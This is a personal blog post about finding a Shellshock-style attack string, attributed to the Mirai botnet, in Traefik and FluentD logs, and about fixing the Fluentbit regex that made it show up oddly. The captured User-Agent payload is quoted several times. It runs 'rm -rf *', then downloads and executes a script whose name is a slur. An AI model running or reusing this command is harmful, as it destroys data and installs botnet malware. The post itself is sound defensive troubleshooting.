I just had a slight Sunday morning panic. I finished my logging setup yesterday night, and had a look at my FluentD logs this morning to see whether I got any errors or unparsed logs.

At the very top of the logs, I got this entry:

error="#<Fluent::Plugin::Parser::ParserError: pattern not matched with data
'{ :; }; echo ; /bin/bash -c 'rm -rf *; cd /tmp; wget; chmod 777 nigga.sh; ./nigga.sh'\",
    \"log\"=>\"{ :; }; echo ; /bin/bash -c 'rm -rf *; cd /tmp; wget; chmod 777 nigga.sh; ./nigga.sh'\\\",
message="dump an error event: error_class=Fluent::Plugin::Parser::ParserError
error=\"pattern not matched with data '{ :; }; echo ; /bin/bash -c 'rm -rf *; cd /tmp; wget; chmod 777 nigga.sh; ./nigga.sh'\\\",
time=2024-02-11 03:54:25.149520221 +0000
record={\"log\"=>\"{ :; }; echo ; /bin/bash -c 'rm -rf *; cd /tmp; wget; chmod 777 nigga.sh; ./nigga.sh'\\\",
host=anon level=warning

That looked suspicious, to say the least. After some googling for the nigga.sh file, I landed on this page from Akamai. I describes an attack by the Mirai botnet.

What mostly got me into a panic was that this didn’t look like a normal Traefik access log line. A lot of weird stuff is tried. Instead, the log line in the Traefik log from Loki looked like this:

log="{ :; }; echo ; /bin/bash -c 'rm -rf *; cd /tmp; wget; chmod 777 nigga.sh; ./nigga.sh'\",\"time\":\"2024-02-11T04:54:25+01:00\"}" nomad_node_name=anon level=NA

So it looked like a normal log entry, not coming from Traefik itself, but still from the Traefik container. I was already running through some “Nuke it all” scenarios in my head.

Then I looked at the Traefik log file itself and relaxed a little bit, as this showed just a normal Traefik log, with the malicious bash code in the User Agent:

2024-02-11T04:54:25.148844046+01:00 stdout F {
"request_User-Agent":"() { :; }; echo ; /bin/bash -c 'rm -rf *; cd /tmp; wget; chmod 777 nigga.sh; ./nigga.sh'",
"time":"2024-02-11T04:54:2 5+01:00"

This made a lot more sense to me and was way less scary. But there was still this nagging thought: Why was I only seeing the malicious User Agent content in my aggregated logs?

Here the slight worry started returning: My Traefik logs are pushed through a JSON parser in my FluentD config. Could that parser have executed the lines somehow…? But luckily, no. I was just lazy in the Fluentbit setup which collects the logs from the Traefik log file on my bastion host and sends them to FluentD. The config looks like this:

    Name podman-traefik
    Format regex
    Regex ^.* (?<log>\{.*\})$

And with this regex, the above log line extracts exactly the malicious bash code as the log content for sending to FluentD. That’s why I was only seeing the bash code in my aggregated code, instead of the full Traefik access log.

I fixed the issue by changing the regex to this:

Regex ^[^\ ]* [^\ ]* [A-Z] (?<log>\{.*\})$

With that change, the Traefik Podman logs are parsed properly, with the Podman prefix removed and the remaining JSON from Traefik itself being send on to FluentD.

One important thing that this made me realize: I only found this suspicious log line because I happened to look at the logs at just the right time, so that it was the most recent line for the FluentD logs. If I had looked sometime later today, perhaps after another FluentD restart, I would have never seen it. Looks like I will need to finally tackle that “Have a look at Alertmanager” task which has been sitting in the middle of my task list for a long time now.